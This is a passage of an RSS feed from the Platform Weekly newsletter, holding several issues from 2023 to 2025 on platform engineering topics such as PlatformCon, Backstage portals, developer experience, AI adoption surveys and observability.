Platforms have the potential to revolutionize software development. But first, platform teams need to master marketing their platform, refining the user experience, creating great documentation, and providing top tier customer service.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 18 Sep 2023 00:00:00 GMT\n\n\n  Platform Engineering in 2025\n  https://platformweekly.com/issues/platform-engineering-in-2025\n  https://platformweekly.com/issues/platform-engineering-in-2025\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly gathering of the fellowship of the platform. This week we\u2019re taking the platforms to Isen- okay, this intro is stretching it. Every week Platform Weekly dives into another area of the platform engineering world sharing news, highlights from the community, best practices, learnings, and more.\nPlatform Engineering in 2026\n\u200d\nWith a 3-year track record now, I am more confident than ever that one of the most important things about PlatformCon is how much of a crystal ball it is for platform engineering as a whole.\nWith our PlatformCon Live days in London and New York this year, we\u2019re putting that into overdrive.\nIf you were watching PlatformCon 2023 virtually last year, you might\u2019ve seen your first mention of platform engineering reference architectures and platform as code. The topic had been discussed here and there throughout the community, but PlatformCon 2023 is where most of us really started thinking about it.\nBy PlatformCon 2024? More than 25% of talks featured reference architectures in that same model. A keen PC23 watcher could\u2019ve called that trend perfectly (a talk on that topic was the second most-watched talk of the year). The same idea goes for portals in 2022. \nThe massive explosion in Dev Portals caught me by surprise in 2023, but when I look at PC22? It was right there in front of my eyes. (and PC24 can let you see what happened next with that\ud83d\ude09)\nThere is a power to getting us all together and sharing insights, ideas, and best practices. Talking about our wins and our disasters. It\u2019s where we\u2019re able to get a sense of what's working, and what isn\u2019t.\nImagine how powerful it\u2019d be if we were in the same room.\nAt PlatformCon NYC in 2025, you could talk to a platform engineer from a major bank about why their MVP worked (or didn\u2019t work). You could speak to a newly minted DevEx platform engineer on how they stepped away from Backstage and cracked their adoption death spiral.\nThere is a reason we\u2019re going all in this year on workshops and trainings. It\u2019s all about getting the most out of this incredible resource of having us all together.\nNo one can say yet what future trends PlatformCon 2025 is going to tell us about, but I know that I\u2019ll be paying close attention to find out.]]>\n  \n  Sat, 25 Jan 2025 00:00:00 GMT\n\n\n  Finding your platform org\u2019s vision \ud83e\uddd0\n  https://platformweekly.com/issues/finding-your-platform-orgs-vision\n  https://platformweekly.com/issues/finding-your-platform-orgs-vision\n  \n  \nHey!\nEvery once in a while, I\u2019ll find a resource that\u2019s too good not to share with the community. This series by Doma\u2019s Michael Galloway is definitely one of those.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nFinding your platform org\u2019s vision\nSo your platform org has nailed down a killer mission statement. You have your why. The next step is defining your vision, or the what. Here are 5 steps to figuring that out, courtesy of this article from Michael Galloway.\n\n\nNail down what you need to achieve. Aka. What matters most to your stakeholders? Do your research to figure out how your platform org\u2019s efforts can best align with the goals of the business. Then confirm your findings with relevant stakeholders: leadership, product management, engineering, etc.\n\nLeverage your purpose. \ud83d\udcaa There are many different ways to approach the challenges your platform org was created to solve. Your mission statement provides the best lens to understand those challenges and how your team should address them.\n\nLeverage user research. Look through your interviews with developers to understand how your current setup is working (or not working) for your users. Combine this qualitative information with the data gathered from the tools and services the customers currently use to piece together a high-level journey. Then dive into the details to figure out the problems that are holding your setup back. You\u2019re looking for the metaphorical pebbles in your shoes \u2013 the problems that impede your ability to run fast.\n\nDefine your vision. \ud83d\udc40 Now that you know what you\u2019re working with, you can define how you\u2019re going to make the workflows better for your developers. Think of your vision like a story. A great vision is a simple story with characters your customers relate to and with a problem your customers recognize.\n\nMore feedback. Don\u2019t forget to check in with your users to see if the changes you want to implement resonates with our customers. \ud83d\ude09\nLooking for more concrete examples? Be sure to check out the full article, where Michael walks through what this process looked like at Doma.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 When it comes to Platform Engineering, SRE and DevOps, the debate is alive and well. Here is an interesting point of view: Is Platform Engineering is putting an end to DevOps and SRE?\n\ud83e\udd50 Have your heard of \"open source minimalism\"? This article from Mike Melanson says that \"problems arise when there is a mismatch between the complexity of the problem and that of the solution\".\n\ud83e\udd50 Podcast time. \ud83c\udf99\ufe0f Tune in to Ship It! podcast episode about Developer Experience Infrastructure (DXI) to get to know what that means, and how to improve it.\n\ud83e\udd50 How many people can relate?\ud83d\udc47\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. One community member did this amazing list of blogs that every SRE/DevOps/Platform Engineer enthusiasts should follow. You're welcome \ud83d\ude09\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 29 Mar 2023 00:00:00 GMT\n\n\n  Say hi at PlatformCon\n  https://platformweekly.com/issues/say-hi-at-platformcon\n  https://platformweekly.com/issues/say-hi-at-platformcon\n  \n  \nIf you\u2019re a long time reader of this newsletter, you know I get most of my insights from the sheer number of platform engineering conversations I get to have. PlatformCon this year will be my biggest opportunity yet.\nPlatformCon is the crystal ball of the platform engineering industry. In 2022, it predicted the meteoric rise in portals. In 2023, platform as code and infrastructure platform engineering reached a general audience for the first time, and in 2024, it saw AI explode onto the PE scene & dev portal hype fade into reality.\nWhat will happen next? Well, I already have my first hint from the over 1000+ submissions we\u2019ve received. But it is in-person where I will really look into that crystal ball.\nI\u2019ll be doing in-person trainings on Platform as a Product, designing and building your Minimum Viable Platform, and soaking up your experiences.\nI\u2019ll be listening to Kelsey Hightower, and Camille Fournier in New York, and Gregor Hohpe, and Nicki Watt in London (and many more).\nI\u2019ll be talking to you! And whoever else I can.\nI want to know. What have people learned in the last year? What are you building? How are you embracing Platform as a Product in your enterprise? What are your platform engineering challenges? How did you solve them?\nThere is no better way for us to learn.\nSee you there!]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Want to save $39m? Here's how.\n  https://platformweekly.com/issues/want-to-save-39m-heres-how\n  https://platformweekly.com/issues/want-to-save-39m-heres-how\n  \n  \nThe week of PlatformCon had over 200 hours of content. Across its 30 workshops, 100s of talks, and days of in-person content. But PlatformCon doesn\u2019t end there\u2026 as part of PlatformCon, the fun keeps going each week in our community webinars as they zoom on key topics from the week.\nThis week, Ed Sawma from Chainguard broke down for the community just how brutal common vulnerabilities and exposures (and most people's slow or inefficient remediation of them) are for the industry at large.\n\n\nMidmarket companies lose on average $3m a year just on CVE patching\n\nThis is WAY worse for a Healthcare company, where insecure container images alone are an est $39m risk (You can imagine how big that number would get on the scale of national healthcare systems or other major regulated industries)\n\nAnd it\u2019s not just big boyz, in growth-stage organizations, about $12 million in average annual revenue is blocked by delays in enterprise deals\nLet\u2019s keep the PlatformCon fun going. Check out this week's community webinar on CVEs and how to avoid them, or go further and walk through a modern software supply chain and see how to bake security into every stage of software delivery.\nThe week of PlatformCon might be over. But the fun never stops.]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n  5 must-read Platform Engineering books\n  https://platformweekly.com/issues/5-must-read-platform-engineering-books\n  https://platformweekly.com/issues/5-must-read-platform-engineering-books\n  \n  \nHey there! Welcome to Platform Weekly, your weekly snorkel in the platform engineering reef. Every week on Friday, we talk about the wide world of the platform engineering universe and share best practices, lessons, and news.\n5 must-read Platform Engineering books\nWe are clearly in the summer holiday season. How do I know? After sending last week\u2019s newsletter on Backstage, I received over TWO THOUSAND out-of-office email replies. It was insane watching them pour in last week. It made it pretty hard to use my email Friday night. \nBeyond the craziness of that fact alone, it represents just how much platform engineering is growing. Long time readers will know I like to use the platform engineering community as a gauge for the growth in the wider industry - this newsletter alone is more than 10x bigger than this time last year. And shows no sign of stopping.\nBut since it is summer season, and so many of you are on holiday - let\u2019s embrace the season with a push to read the crucial texts of platform engineering this year.\n\n\nPlatform Strategy - Gregor Hohpe: Released just a few months ago, I think this is already a must read. Gregor\u2019s PlatformCon talks are some of the best platform engineering content out there (and have been viewed over 30,000 times) and this book goes much much further\n\nTeam Topologies - Matthew Skelton & Manuel Pais: A very unsurprising addition to this list, Team Topologies is a foundational text of platform engineering, establishing and expanding on many of the major concepts of the discipline, most crucially Platform as a Product.\n\nAccelerate - Nicole Forsgren, Jez Humble, Gene Kim: If you haven\u2019t read this software engineering classic yet, you need to. Reading it and lessons through the lens of a platform engineer does a great job of demonstrating why platform engineering is so impactful.\n\nRemote Team Interactions Workbook - Matthew Skelton & Manuel Pais: With the chances of all your platform stakeholders being in the same buildin (let alone the same continent) being basically zero, this less-known book by Matthew and Manuel is a great and super helpful read.\n\nDevOps Benchmarking Study 2023 - Me (with help): Okay, bit cheeky to add this here (and pretty presumptuous). But last week I read this whitepaper I worked on in 2023, and I think there are few things that lay out as clearly the reason why DevOps is failing, and platform engineering is taking over. And at 55 pages it could pass for a novella, right?\nIf that isn\u2019t enough, or if you\u2019ve read these already - these are the foundational texts after all. There is currently over 300+ hours of PlatformCon content on the platform engineering Youtube channel. \nAnd 100s of pages of content on the platform engineering blog.\nI remember 4 years ago when there was almost nothing. And every new thing that came out was devoured by everyone in days. It\u2019s incredible how far we\u2019ve come.]]>\n  \n  Fri, 30 Aug 2024 00:00:00 GMT\n\n\n  Have a platform story? I have 35,000 ears\n  https://platformweekly.com/issues/have-a-platform-story-i-have-35-000-ears\n  https://platformweekly.com/issues/have-a-platform-story-i-have-35-000-ears\n  \n  \nHey there! This is Platform Weekly, your weekly journey down platform lane\ud83d\udeb6\u200d\u2642\ufe0f\nHave a platform story? I have 35,000 ears\nIt\u2019s now been almost 1 month since we officially launched registrations for PlatformCon24 and the numbers are to put it delicately - effing INSANE. If these current numbers hold (based on the last two years, it\u2019s likely they will), we\u2019re estimating almost 35,000 registrations to PlatformCon24\u2026\nThat makes it hands down the largest platform engineering event in the world.\nTo serve all those platform engineering fans, or as I like to call us, #PlatformNerds, we\u2019re going to need some pretty awesome talks. Luckily, we\u2019ve already already got almost every big name in the space from Gregor Hohpe and Nicki Watt, to Paula Kennedy and my friend and colleague Mallory Haigh. That still leaves a LOT of space though. \nWith 5 days of sessions, incl a day dedicated to Opensource and workshops? We need more.\nWE NEED YOU!\nLast year, we got 100s and 100s of submissions and I honestly had a blast watching them all, and I am telling you that some of the best, and most interesting talks came from this newsletter and from the Platform Engineering Slack community.\nI am certain the same will be true again. Submit your proposals!You tell the story, I\u2019ll bring the ears\ud83d\udd25\ud83d\udc42\nQuick bites\nArticles that blew me away: \n\n\nThe nature of work in Platform Engineering\nFrom the community:\n\n\nHelp me improve the Platform Engineering Community for 2024]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  State of AI in Platform Engineering in 2025\n  https://platformweekly.com/issues/state-of-ai-in-platform-engineering-in-2025\n  https://platformweekly.com/issues/state-of-ai-in-platform-engineering-in-2025\n  \n  \nThe State of AI in Platform Engineering has launched! You can download it now.\n240+ platform engineers surveyed, dozens of deep interviews, 100s of hours of reading and watching, and a staggering shift in how we\u2019re all using (and struggling with) AI.\nWhat did we learn? 89% of teams are using AI but the vast majority of teams are seeing zero value. Those who are? It\u2019s bc they have an effective Internal Developer Platform as a foundation for their AI goals.That\u2019s why this report aims to go further than just research, it\u2019s also a playbook for how you can succeed in AI.\n\n\nTwo worlds of AI in platforms: We kept seeing confusion between AI-powered platforms (using AI to enhance your developer platform i.e troubleshooting, natural language interfaces, policy enforcement) and platforms for AI (infra for ML engineers, scalable compute, model pipelines, secure data). Mixing the two leads to wasted sprints and mismatched goals\n\nThe \u201cAI implementation plateau\u201d: Teams race in with gen code and docs, leadership gets hyped and sets unrealistic or unthought out goals, then everything stalls. Slow progress, scaling issues, security fears, hallucinations, and skill gaps hit hard. The small % of winners are the ones who blast through this plateau.\n\nImpact isn\u2019t automatic: Code generation feels magical, but it doesn\u2019t move organizational productivity alone. Real ROI comes from targeted improvements like automating error triage, smarter observability, safer pipelines not blanket AI mandates. Blanket AI mandates are as detrimental as blanket AI bans.\nThese are five principles to breaking through the plateau we\u2019ve identified across top teams.\n\n\nAI amplifies your platform\u2019s flaws, so fix your foundations first.\n\nStart with clear outcomes (I.e \u201cReduce error analysis time\u201d, not something vague like \u201cuse more AI\u201d).\n\nTreat AI features like a product\n\nBuild pragmatic governance. Safe experimentation > blanket bans.\n\nInvest in your team\u2019s skills so AI isn\u2019t shadow IT\nThis report is a reality check. AI\u2019s everywhere, but value only comes when strong platform foundations meet clear intent and thoughtful rollout. Across 40+ pages, it breaks down each of these bullet points to help ensure you are the 5% who see real AI value in the enterprise.\nThe opportunity has never been bigger for platform engineers.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  Become a platform leader\n  https://platformweekly.com/issues/become-a-platform-leader\n  https://platformweekly.com/issues/become-a-platform-leader\n  \n  \nWith PlatformCon NYC and LDN this summer, I might\u2019ve talked to more people about platform engineering in the last 3 months than ever before. There is something that has really stuck with me since then. Platform engineering initiatives near and far are desperate for leadership.\nIn an article I wrote a few months ago on the Head of Platform Engineering role, I broke down a HOPE\u2019s (lol) key responsibilities:\n\n\nDefining the platform strategy\n\nImproving developer experience and productivity\n\nBalancing standardization and flexibility\n\nCollaboration across engineering and business units\n\nDriving AI and automation in platform engineering\nSound like something your platform initiative might be missing? You could be the change you want to see.\nEvery day, I am talking to engineers in grassroots platform initiatives that are stepping up and making a huge difference, or to platform team leads who\u2019re soaking up knowledge from the community to make their platform teams better.\nWhat do you think?]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n   I love backends (platform backends)\n  https://platformweekly.com/issues/i-love-backends-platform-backends\n  https://platformweekly.com/issues/i-love-backends-platform-backends\n  \n  \nHey there! This is platform weekly, your weekly climb up the platform engineering beanstalk. We cover the latest and greatest in the platform engineering world. \nI love backends (platform backends)\nIf you're reading this email, then it\u2019s a safe bet you're pretty interested, and fairly familiar with platform engineering already. You\u2019re definitely registered to the world\u2019s largest platform engineering conference, PlatformCon 2024. And you\u2019re probably already building an Internal Developer Platform.\nIt\u2019s time for a phrase you\u2019ve probably heard me say a thousand times already - we\u2019re in the stage now where it\u2019s not just about \u201cdoing platform engineering, it\u2019s about doing platform engineering right.\u201d And that means properly understanding platform backends.\nOver the last year, there has been a deluge of \u201cplatforms\u201d that can only be described as a frontend layer. Teams just take their current CI/CD pipeline and slap a portal on top of it, and celebrate that they\u2019re doing platform engineering now.\nThis might work for small teams of a few dozen developers, but once you get into the real weeds of platform engineering. This ain\u2019t enough.\nTrue ROI in platform engineering comes from standardization & automation.\nThe backend is where the logic to make that possible gets built. It is what lets your platform execute advanced and complicated requests, without breaking anything or needing a JIRA ticket and a dozen slack messages to get done. And how you build your backend is key to deciding whether your platform delivers the ROI that the last 3 years of platform hype have promised.\nWhat are you waiting for? Enter the backend.\nQuick bites\nArticles of the week:\n\n\nHow to build your platform engineering team\nFrom the community:\n\n\nMissed the 5 year anniversary of Team Topologies? Watch the recording!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform engineering at regulated industries\n  https://platformweekly.com/issues/platform-engineering-at-regulated-industries\n  https://platformweekly.com/issues/platform-engineering-at-regulated-industries\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly lay of platform engineering bricks. Every week, we unpack another piece of the best practices, news, and insights from the platform engineering community. This week we\u2019ve got another guest newsletter by Lou Bichard, he\u2019ll be sharing some thoughts on the new wave blasting it\u2019s way through regulated industries. Let\u2019s get crunchy\ud83e\udd50\nWhat\u2019s hot in platform engineering?\n\n\nHaven\u2019t answered the 2025 DevEx survey yet?\n\nThe Community Platform as a Product whitepaper gets an update\ud83d\udd25\n\nThe next certification class of Platform Engineering Fundamentals opens it\u2019s doors. Come join!\nMake regulated companies fun again\nPicture this: You\u2019re working at a neobank fintech startup. The vibes are great and your team is a bunch of cracked devs. Yeah it\u2019s hard work but it\u2019s fun. Then all of a sudden, there\u2019s chat about \u201cregulatory requirements\u201d and the CISO is talking about VDI\u2026\nYou can literally feel the energy draining from the company. \nAnd it\u2019s not even rolled out yet! Since it\u2019s not your first rodeo in fintech you know exactly what's coming: ridiculous constant disconnections and pure frustration. \nThat flow state you\u2019ve just got back? It\u2019s gone. \nSecurity is the achilles heel for platform in regulated industries\nFor platform engineering teams in regulated industries, this has always been an impossible situation. \nYou want to provide an amazing developer experience but you also need to maintain security and compliance. Tools like VDI are a deal with the devil where you trade developer productivity for security. For developers working in banks, healthcare, or government this has been the status quo forever. We have to hear our friends talk about their smooth development setups while we\u2019re over here writing code with chopsticks. \nBut something very interesting is happening in regulated industries now. (And I am not just highlighting it because I am known as the CDE guy in Platform Weekly).\nAccording to Gartner, by 2027, 40% of highly-regulated organizations will write software in secure, automated, standardized development environments (CDEs). Bear in mind this isn't just \u201canother Gartner tech prediction\u201d. We\u2019re already seeing the wheels turning in a fundamental shift to how regulated industries are approaching development that\u2019s already underway. There is a reason why one of the world\u2019s largest private equity funds just ditched their VDI for a CDE.\nGetting side-project flow whilst working in a regulated industry\nRemember that feeling from a side project? Perfect flow. Everything is simple. Restart the server, refresh the page and boom. Instant feedback loop. That's what we're talking about but in regulated industries. That means using your IDE of choice, so either VS Code or JetBrains. And it\u2019s literally those exact editors and not some frankenstein online web editor thing. \nFor platform teams, this is the breakthrough we've been waiting for. Instead of being the team that has to say \"it's complicated\" to every request, we get to be the team that delivers a development experience that our developers\u2014and us, too\u2014actually want to use. We can meet those security and compliance requirements, without compromising dev experience. \nThis is at the same time when the rise of AI and coding assistants makes regulated organizations realize how much they need to modernize their developer experience to even participate. Platform teams are at the critical epicenter of all these changes (great news for you). The days of clunky, slow, frustrating development in regulated industries could actually be seriously numbered. There\u2019s light at the end of the tunnel for actual developer experience in regulated industries.\n\u201cSounds good, but that won\u2019t work for us\u201d\nI know what you\u2019re thinking: \"This all sounds great, but it won't work for us\u201d. Because you have super strict security requirements, compliance needs, and regulatory obligations that will prevent the security team from even considering this. That\u2019s the thing, these tools pass security reviews at the world's most secure organizations. We're not talking about a potential, hypothetical future; this is already happening across the world\u2019s largest banks, healthcare providers and government entities. So it is not impossible that poor devex in regulated industries could become a thing of the past.\nNo-one wants to develop software where you can\u2019t even get the most simple development task done. It\u2019s soul-sucking and worse still it\u2019s often horrific for your career. You can literally feel your dev skills atrophying. \nIf you want to read more from someone other than myself, I suggest grabbing a copy of the Gartner Platform Engineering Hype Cycle that I shared above where you can find that exact quote. Let\u2019s forget making deals with the devil and no longer trade-off our developer experience for security through clunky VDI solutions.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  What we learned from Backstage implementations for 100k+ devs\n  https://platformweekly.com/issues/what-we-learned-from-backstage-implementations-for-100k-devs\n  https://platformweekly.com/issues/what-we-learned-from-backstage-implementations-for-100k-devs\n  \n  \nHey there!\nWe\u2019re starting off 2023 strong with a double feature\ud83e\udd73 First, we\u2019ll take a look at what The Frontside Software\u2019s CEO Taras Mankovski learned from implementing Backstage for more than 100k developers. Then, we\u2019re diving into the Platform Engineering community\u2019s wishlist for 2023.\nLet\u2019s get bakin\u2019\nWhat we learned from Backstage implementations for 100k+ devs\nSpotify\u2019s Backstage is a powerful tool for building developer portals, but not everyone is on the same page about how to use it. One major reason is that many folks in the community (mistakenly) believe that Backstage is a platform when it is actually an internal developer portal. According to Gartner, \u201cinternal developer portals serve as the interface through which developers can discover and access internal developer platform capabilities.\u201d Backstage is a framework to build your portal, not your platform.\nNow that we have that common misconception out of the way, let\u2019s dive into some practical tips for your Backstage implementation. \ud83d\ude09\nDo your research.\nYou\u2019ll want to ask your developers what they need and how you can make your portal a success. Here are a few suggestions \u2013 and potential solutions \u2013 based on our real-world experience. \nHow do you find info about an existing service?\nFinding information is a common challenge for developers. You can use an entity provider to populate your catalog with info from external sources, eliminating the need for developers to add it manually. \nHow are the docs?\nIf your developers are struggling to find relevant docs in platforms like Confluence, you can use Backstage\u2019s collator mechanism to connect the Search Plugin to the external Confluence service. This enables developers to query information and automatically add it to the index. If your docs are out of date, you can use the TechDocs Plugin to keep things \nHow do you start new projects?\nCombat complicated manual workflows for service creation with plugins like the Scaffolder Plugin. It gives you lots of options to promote golden paths and ease cognitive load. This is a great example of Backstage's true potential. Template-driven workflows can save engineers lots of time and enable your organization to move faster.\nTake advantage of annotations.\nCatalog Entity Annotations are a feature worth taking advantage of. They make it possible to decide what developers see on each Entity page in the portal \u2013 super useful information!\nThis is just a quick summary of Taras\u2019 \ud83d\udd25\ud83d\udd25\ud83d\udd25 article for the Platform Engineering community. Check out the full blog post here.\nWinter 2023 Wishlist\nAs the Platform Weekly family is growing, we\u2019re looking for more practitioners to contribute their insights and knowledge to the community! Here\u2019s what folks want to see this season:\n\n\nBook reviews \ud83d\udcda\n\nConference and webinar recaps\n\nOpinion pieces\n\nTooling and setup explanations (no vendors, please!)\n\nPlatform fails \ud83e\udd2a\n\nOpen source spotlights\n\nTips on:\n\nCalculating the ROI of a platform initiative\n\nMaking the business case for a platform\n\nMeasuring the impact of your platform\n\nBuilding a platform team\n\nProduct management for your platform\n\nAnd more!\n\nAnd, of course, memes\nAs a contributor, you\u2019ll be featured in a 300-350 word article (like the one you just read!) in a future issue of Platform Weekly. Reach an audience of 4k+ platform enthusiasts, contribute to the community, and get all of the bragging rights. \ud83d\ude0e Start your submission here.\n\n\ud83e\udd50 Is platform engineering a pathway for engineering organizations to increase developer productivity without increasing headcount? The folks at TechCrunch weigh in.\n\ud83e\udd50 Spotify Mobile Engineering Team recently migrated their platform to build with Bazel and shared what they learned.\n\ud83e\udd50 Platform engineering might be able to help with your Kubernetes woes, at least according to this article.\n\ud83e\udd50 OAM vs. Score. Which YAML actually rules them all?\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nDoes Platform Engineering help small R&D organizations cope with their inefficiencies?\n\nBackstage setup help!\n\nIs it bad to start as a DevOps engineer now? Is it already an irrelevant job title?\n\nWhat do you think of this new programming language for the cloud?\nAnd that\u2019s a wrap on our second Platform Weekly of the new year and our first-ever double feature. It\u2019s gonna be a big year for platform engineering, and I can\u2019t wait to see where this community goes next!\nAs always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  It's your last chance to speak at PlatformCon 2024\n  https://platformweekly.com/issues/its-your-last-chance-to-speak-at-platformcon-2024\n  https://platformweekly.com/issues/its-your-last-chance-to-speak-at-platformcon-2024\n  \n  \nHey there! This is Platform Weekly, your weekly swim through the Platform Engineering sea\ud83c\udf0a\nIt's your last chance to speak at PlatformCon2024\nWe\u2019re just two days away from the PlatformCon 2024 Call for Proposals closing (Monday 9am CET). There are currently over 300+ submissions and from how much my phone is blowing up with \u201cnew submission\u201d emails, we are going to massively blast through that number.\nRight now, we\u2019ve got some of the biggest names in platform engineering - but I can tell you from what I am seeing, a good chunk of the talks I am most interested in watching are from actual practitioners.\nJust like last year, the people who\u2019ve submitted through this newsletter have submitted some AWESOME topics, and I can\u2019t wait to watch them. \nIf you\u2019re reading this but hesitant to submit a talk, or just haven't got to it yet. DO IT. I want to see your talk! And, most likely\u2026 it\u2019s going to be one of the submissions most PlatformCon attendees really want to see\ud83d\udd25\nQuick bites\nArticles that blew me away: \n\n\nPlatform Engineering dies in 4 weeks\n\u200dFrom the community:\n\n\nTell your platform story. What got you into Platform Engineering?]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  Platform teams need a delightfully different approach, not one that sucks less\n  https://platformweekly.com/issues/platform-teams-need-a-delightfully-different-approach-not-one-that-sucks-less\n  https://platformweekly.com/issues/platform-teams-need-a-delightfully-different-approach-not-one-that-sucks-less\n  \n  \nHey there! This is Platform Weekly, your weekly climb on the platform engineering jungle gym. This week with guest writer, Fawad Khaliq, CTO and Co-founder of Chkk.\nPlatform teams need a delightfully different approach, not one that sucks less\nThis week\u2019s edition of Platform Weekly is an excerpt from Fawad\u2019s latest article. Read the full article here.\nGartner estimates that by 2026, 80% of software engineering organizations will have established platform teams providing reusable services, components, and tools. While this trend sounds elegant and straightforward, the reality is anything but.\nThe challenges that platform teams experience can be broadly classified into the following buckets.\n#1: The \"shared responsibility model\" pushes complexity to platform teams.\nCloud providers handle only part of the platform stack, leaving teams to manage all the layers on top. Consequently, they must deliver better-than-yesterday features and scale to application teams, and make sure things never break\n#2: Change is a constant\u2026 and all changes are availability risks. \nPlatform teams face multiple change drivers: security fixes, application team requests for features, cluster upgrades, and frequent add-on updates. All this inflow of change must be ingested, prioritized, and executed by the platform team. Because changes cause disruptions, implementing changes takes forever. \n#3: Teams can\u2019t automate and hire fast enough to keep up with platform growth and support mission-critical applications.\nScarce platform talent, especially Cloud and DevOps Engineers, makes hiring challenging. Scaling headcount isn't sustainable. On-the-job training consumes skilled engineers' time, entangling them in repeated tasks and firefighting, leaving no room for innovation.\n#4 Reactive incident response is necessary but insufficient. \nIt involves experiencing incidents first-hand and manually researching solutions, consuming significant engineering resources without preventing future errors. As a result, firefights are a way of life and automation always take the back seat.\nThere has to be a better way\u2026\nIt seems impossible for a single company\u2019s platform team to solve these chronic challenges, but we believe it\u2019s possible if we enable them to \u201ccollectively learn\u201d from each other. A technological solution to ensure that:\n\n\nPlatform engineers can learn from the unstructured information available on the internet without having to read walls of text just to update a single component in the infrastructure, tracking versions through CLIs and APIs, etc. \n\n\nSilos are broken across different platform teams so that learnings are programmatically shared, similar to CVE's role in security, creating a \u201cCVE for Availability\u201d. \nSolving these challenges requires a \u201ctrusted broker\u201d that can collect information from all the sources, validate it, curate it as programmatic signatures, and publish it broadly for everyone\u2019s benefit.\nRead the full article here.\nQuick bites\nArticles that blew me away:\n\n\nPrioritizing DevEx: The Core of Successful Platform Engineering\n\nEmbracing Microservices: The Platform Engineer's Guide\nFrom the community:\n\n\nWhat\u2019s the real meaning behind IDP?]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Observability for platform engineers\n  https://platformweekly.com/issues/observability-for-platform-engineers\n  https://platformweekly.com/issues/observability-for-platform-engineers\n  \n  \nPlatform engineering is eating the world. That will be the defining theme of our industry over the coming years. Whether you call that \u201cshifting down\u201d like Google or just the inevitable progression of platform engineering, it\u2019s clear that platforms will grow to absorb more and more domains.\nDoes that mean domains like security and observability become obsolete? Hell no. They become more important than ever, and more important to YOU than ever.\nThat is why yesterday we launched a free course focused on Observability for platform engineers with Dash0. It covers:\n\n\nFoundations: The origins of observability, how it differs from monitoring, and why it is essential for understanding not just what is happening but why.\n\nTelemetry and standards: Covers the different telemetry signals (logs, metrics, traces, profiles, RUM), the importance of context and correlation, and the role of OpenTelemetry and semantic conventions in ensuring consistency, interoperability. Insights you can actually action on\n\nWhat you need to do: How platform engineers can treat observability as a product feature, and \u201cshift it down\u201d into the platform providing auto-instrumentation, default dashboards, and correlation while fighting through challenges like inconsistency, vendor lock-in, tool fragmentation through OSS observability stacks etc etc.\nAs platforms expand to integrate more and more domains, it\u2019s crucial that platform engineers understand what this entails and how to thrive in this. \nYou don\u2019t need to be an observability expert, but you need to understand what it is, and how to get the absolute most out of it in your platform for your platform's customers.]]>\n  \n  Thu, 11 Sep 2025 00:00:00 GMT\n\n\n  Don't forget DevEx!\n  https://platformweekly.com/issues/dont-forget-devex\n  https://platformweekly.com/issues/dont-forget-devex\n  \n  \nHey there. It\u2019s Platform Weekly, the bread to your DevOps butter. Let\u2019s get bakin\u2019\nDon't forget DevEx\nFernando Villalba, Senior Tech Evangelist at HumanitecYou need better DevEx in your life. If your goal is to deliver better software faster, any process improvement that does not improve the developer experience is wasted. Bad DevEx results in:\n\n\nBurnout: Developers spend most of their energy completing tasks that don\u2019t produce immediate value, become unhappy, and leave.\n\nSlow software delivery: Too many processes and bad tooling slow down deployment cycle.\n\nDeveloper churn rate.\n\ud835\udc16\ud835\udc21\ud835\udc1a\ud835\udc2d \ud835\udc22\ud835\udc2c \ud835\udc03\ud835\udc1e\ud835\udc2f\ud835\udc1e\ud835\udc25\ud835\udc28\ud835\udc29\ud835\udc1e\ud835\udc2b \ud835\udc04\ud835\udc31\ud835\udc29\ud835\udc1e\ud835\udc2b\ud835\udc22\ud835\udc1e\ud835\udc27\ud835\udc1c\ud835\udc1e (\ud835\udc03\ud835\udc1e\ud835\udc2f\ud835\udc04\ud835\udc31, \ud835\udc03\ud835\udc17)?\nDevEx is a cultural approach that aims to simplify all areas that don\u2019t contribute to the creative output and the delivery of applications for developers. It is achieved by simplifying or eliminating the following concerns for developers:\n\n\nConfiguration management: configuration drift and difficulties finding resource configuration for workloads.\n\nInfrastructure provisioning:  learning terraform, IaC, or the temptation to do ClickOps. \n\nEnvironment configuration: Creating new environments is easy, no need to specify configuration for each and every environment.\n\nTedious processes: Processes that take too many steps or require too many third parties.\n\nCognitive load: Good DevEx implements Standardization by Design, easing the task of making too many long-term judgment calls that require a lot of planning and thinking.\n\nTooling with bad UX: Tooling that has a bad user experience, even if it offers more features, is very tiring to use because it takes longer to learn and is more tedious to use. Good DevEx picks and designs tools that favor usability over a disjointed feature stack. \n\ud835\udc07\ud835\udc28\ud835\udc30 \ud835\udc1d\ud835\udc28 \ud835\udc0f\ud835\udc25\ud835\udc1a\ud835\udc2d\ud835\udc1f\ud835\udc28\ud835\udc2b\ud835\udc26 \ud835\udc04\ud835\udc27\ud835\udc20\ud835\udc22\ud835\udc27\ud835\udc1e\ud835\udc1e\ud835\udc2b\ud835\udc22\ud835\udc27\ud835\udc20, \ud835\udc03\ud835\udc1e\ud835\udc2f\ud835\udc0e\ud835\udc29\ud835\udc2c \ud835\udc1a\ud835\udc27\ud835\udc1d \ud835\udc03\ud835\udc1e\ud835\udc2f\ud835\udc04\ud835\udc31 